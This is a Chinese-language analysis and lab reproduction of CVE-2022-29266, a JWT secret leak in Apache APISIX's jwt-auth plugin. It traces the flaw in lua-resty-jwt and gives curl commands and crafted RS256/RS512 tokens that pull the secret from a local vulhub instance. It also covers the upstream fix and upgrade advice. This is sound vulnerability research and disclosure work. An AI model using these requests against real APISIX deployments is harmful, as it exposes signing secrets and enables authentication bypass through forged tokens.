APISIX CVE-2022-29266 漏洞分析与复现

# 漏洞描述

在 2.13.1 之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,从而造成对 JWT 的伪造风险。

# 影响版本

低于 2.13.1 的 Apache APISIX 全部版本。

# 前要介绍

# APISIX

Apache APISIX 是一个由 Apache 基金会孵化的一个开源的云原生 API 网关,具有高性能、可扩展的特点,与传统的 API 网关相比,APISIX 是通过插件的形式来提供负载均衡、日志记录、身份鉴权、流量控制等功能。

# JWT

JSON Web Token 缩写成 JWT,常被用于和服务器的认证场景中,这一点有点类似于 Cookie 里的 Session id

JWT 支持 HS256、RS256、RS512 等等算法,JWT 由三部分构成,分别为 Header(头部)、Payload(负载)、Signature(签名),三者以小数点分割。

JWT 的第三部分 Signature 是对 Header 和 Payload 部分的签名,起到防止数据篡改的作用,如果知道了 Signature 内容,那么就可以伪造 JWT 了。

JWT 的格式类似于这样:

Header.Payload.Signature
1

实际遇到的 JWT 一般是这种样子

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
1

# 漏洞分析

首先根据官方仓库的漏洞修复代码定位到 /apisix/plugins/jwt-auth.lua 文件的第 364 行,如果 JWT 无效则在 return 返回 401 并给出无效的原因,即 jwt_obj.reason

接着在 lua-resty-jwt 库中找到 lib/resty/jwt.lua 文件,在 jwt.lua 文件的 782 行中,可以看到有个 jwt_obj.reason 中包含了 secret,这里代码的意思是说,如果程序执行正常就返回 secret 的值,否则就返回具体的异常信息。

.. 表示字符串拼接,即把后面代码的值拼接到字符串中

err and err or secret 所表示的意思是:如果 err 为 nil,则返回 secret 的值,否则返回 err

那么接下来要做的就是怎么样构建 payload 才能让代码进入到第 782 行,从而让 jwt_obj.reason 返回我们想要的 secret 呢?那么就要看看 782 行上面的代码。

通过上图可以看到,如果想执行到第 782 行,需要满足四个条件,分别如下:

  • 756 行,JWT 的算法需要是 RS256 或者 RS512
  • 758 行,trusted_certs_file 值需要为 nil
  • 774 行,secret 值不能为 nil
  • 781 行,cert 的值需要为 nil 或者 false

~= 表示不等于

首先,第一个条件,JWT 的算法需要是 RS256 或者 RS512,这个很简单,只需要 JWT 的 header 部分的 alg 参数为 RS256 或者 RS512 即可。

接着,第二个条件,trusted_certs_file 即信任证书文件,APISIX 默认算法是 HS256,而 HS256 和 HS512 不支持这种证书文件的方式,因此只要我们使用 HS256 或者 HS512 算法就行了。

然后,第三个条件,secret 值不能为 nil,当 APISIX 使用 jwt-auth 插件的时候,如果使用的默认算法,就需要指定 secret 的值,那么这个 secret 的值就不会是 nil 了。

最后,第四个条件,cert 的值需要为 nil 或者 false,在 776 行至 779 行的代码中,可以看到会判断 secret 中有没有 CERTIFICATE 和 PUBLIC KEY,如果有那么 cert 就不会是 nil 了,那么也就是说,只要 secret 中没有 CERTIFICATE 和 PUBLIC KEY,代码就会执行到第 782 行,并且返回 secret 的值。

所以分析到这里就基本清楚了,漏洞利用的前提有以下三个:

  • APISIX 需要开启 jwt-auth 插件
  • jwt-auth 插件算法需要是 HS256 或者 HS512
  • secret 的值中不能包含 CERTIFICATE 和 PUBLIC KEY 字符串

如果满足了这三个前提,当我们利用 RS256 或者 RS512 的 JWT 值发送给 APISIX 的时候,我们就会得到 jwt-auth 中的 secret,从而实现 JWT 伪造了。

那么下面就开始搭环境,复现,顺便验证下漏洞分析的正确性。

# 环境搭建

在 VulnHub 上有 APISIX CVE-2020-13945 漏洞的靶场,APISIX 版本为 2.11.0,因此我们可以直接用这个靶场作为 CVE-2022-29266 的靶场进行复现。

环境搭建命令:

git clone https://github.com/vulhub/vulhub.git
cd vulhub/apisix/CVE-2020-13945
docker-compose up -d
1
2
3

访问 http://your-ip:9080 地址即可

# 漏洞复现

首先需要一个 RS256 算法的 JWT 值,这里为了方便直接在 jwt.io (opens new window) 中生成,只需要将算法改为 RS256,Payload 改为以下内容即可,注意 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致。

{"key": "rs-key"}
1

生成的 JWT 值如下:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg
1

接着创建一个 consumer 对象,并设置 jwt-auth 的值,默认是 HS256 算法,secret 值为 teamssix-secret-key

curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"username": "jack",
"plugins": {
"jwt-auth": {
"key": "rs-key",
"secret": "teamssix-secret-key"
}
}
}'
1
2
3
4
5
6
7
8
9
10

然后再创建 Route 对象,并开启 jwt-auth 插件

curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"methods": ["GET"],
"uri": "/index.html",
"plugins": {
"jwt-auth": {}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"0.0.0.0:80": 1
}
}
}'
1
2
3
4
5
6
7
8
9
10
11
12
13
14

这时其实漏洞环境才算搭好,接下来就可以开始发送 Payload 了。

将刚才由 RS256 算法生成的 JWT 值发送给 HS256 算法验证的路由,这样就可以获得刚才设置的 secret 值了。

curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i
1

当我们拿到这个 sceret 值后,就可以伪造 JWT Token 了。

那么根据上面的漏洞分析,这里如果使用 RS512 算法应该也能触发这个漏洞,在 jwt.io 上生成 RS512 的 JWT 值如下:

eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.bMCMT2wCP8X6duvDDuaR232ae3XkA3d2g-FKvI-D73sk8nTRWZEfovoh_FFi5PquyC81J5i5bED-rh1RMuDHlJVMYDKTP-EPdoRxugBdCCq9iEL3A004PTQM21rWLcPe1SOqp2Qvcf41iH-5r5Zs5cuAraQm4qFyhooCziSIPNnbyb8VUMx6k7fGS-WIBMVti-SjG5dEGLwAckCjc_XYMPrHqMRFYU_sB6jY05xX_9u5PFnuOQiu-q3c7gZLHdVSzHeYQGct-nrjcrM2VHvdkMIwMOr25UMhu200HFDhpLXuWpic7WC-rtztTZOtZne7UZ4s6MlnJavZiXWEq3Ovew
1

利用 curl 访问

curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.bMCMT2wCP8X6duvDDuaR232ae3XkA3d2g-FKvI-D73sk8nTRWZEfovoh_FFi5PquyC81J5i5bED-rh1RMuDHlJVMYDKTP-EPdoRxugBdCCq9iEL3A004PTQM21rWLcPe1SOqp2Qvcf41iH-5r5Zs5cuAraQm4qFyhooCziSIPNnbyb8VUMx6k7fGS-WIBMVti-SjG5dEGLwAckCjc_XYMPrHqMRFYU_sB6jY05xX_9u5PFnuOQiu-q3c7gZLHdVSzHeYQGct-nrjcrM2VHvdkMIwMOr25UMhu200HFDhpLXuWpic7WC-rtztTZOtZne7UZ4s6MlnJavZiXWEq3Ovew -i
1

果然使用 RS512 算法同样可以触发,说明漏洞分析的没毛病。

接着看看如果 secret 中包含了 CERTIFICATE 和 PUBLIC KEY 字符串,会返回什么。

重新开一个环境后,创建一个 consumer 对象,这次 secret 设置为 teamssix-CERTIFICATE

curl http://127.0.0.1:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"username": "jack",
"plugins": {
"jwt-auth": {
"key": "rs-key",
"secret": "teamssix-CERTIFICATE"
}
}
}'
1
2
3
4
5
6
7
8
9
10

创建 Route 对象,并开启 jwt-auth 插件

curl http://127.0.0.1:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"methods": ["GET"],
"uri": "/index.html",
"plugins": {
"jwt-auth": {}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"0.0.0.0:80": 1
}
}
}'
1
2
3
4
5
6
7
8
9
10
11
12
13
14

触发漏洞

curl http://127.0.0.1:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJycy1rZXkifQ.mF27BBWlXPb3fTiFufhcL3K9y99b8kioMmp7eMwRhB1kZjK62aJ_R6SB0A_Kmym8a7U2S3zYLue9mkD4FGGmhwmkmUGppjZdtwfxrZc7JvvdpJbihNGxdfn9ywUspr6DX831e29VAy1DnLT6cU8do_9MFklxrRbhTVpDOsOADEhh6Q5zdTKPz3h5pKHSQYO4y5Xd0bmRM7TqRvhfIRchmvroaJBQjP6TrDrN_x2elRpPsuabYmCNH_G7m6x5ouf0bqoOkOmsk3alJ6zNZFDY6-aTS4vDD8SDlSbAXkCh5DN-C10YQ6ZYWUGmcbap7hQhaIVJRlZRtaXMFbmabLwhgg -i
1

可以看到,这里并没有返回刚才设置的 secret 值,而是返回了 not enough data,即 err 的信息,这表明此时 cert 的值已经不为 nil 了,再次证明了上面的分析。

# 漏洞代码修复

观察 APISIX 的漏洞修复信息,可以看到对 jwt-auth.lua 文件的第 364 和 395 行进行了修改,修复信息地址:https://github.com/apache/apisix/commit/61a48a2524a86f2fada90e8196e147538842db89

这里是将原来的直接返回报错原因改成了返回 JWT token invalid 和 JWT token verify failed 的文本信息。

# 修复方案

  • 升级至 Apache APISIX 2.13.1 及以上版本
  • 安装补丁包,补丁包地址详见:https://apisix.apache.org/zh/blog/2022/04/20/cve-2022-29266

# 总结

这个漏洞最终造成的风险是 JWT 伪造,但前提是需要对方的 APISIX 开启了 jwt-auth 插件才行,并且如果有细心的读者可能会发现,当我们构造 RS256 算法的 JWT 时,需要先知道目标 APISIX consumer 对象的 key 值,因此这个漏洞利用起来还是有一定限制的。

这篇文章也已经同步到了 T Wiki 云安全知识文库中,文库地址:wiki.teamssix.com (opens new window),文库中都是云安全相关的文章,并且有很多来自大家共同贡献的云安全资源,也非常欢迎你一起来补充 T Wiki 云安全知识文库。

由于笔者个人的技术水平有限,因此如果文章中有什么不正确的地方,欢迎在留言处指正,不胜感激。

参考链接:

https://t.zsxq.com/mqnAeeY

https://www.jianshu.com/p/1b2c56687d0d

https://teamssix.com/211214-175948.html

https://apisix.apache.org/blog/2022/04/20/cve-2022-29266

https://zone.huoxian.cn/d/1130-apache-apisix-jwt-cve-2022-29266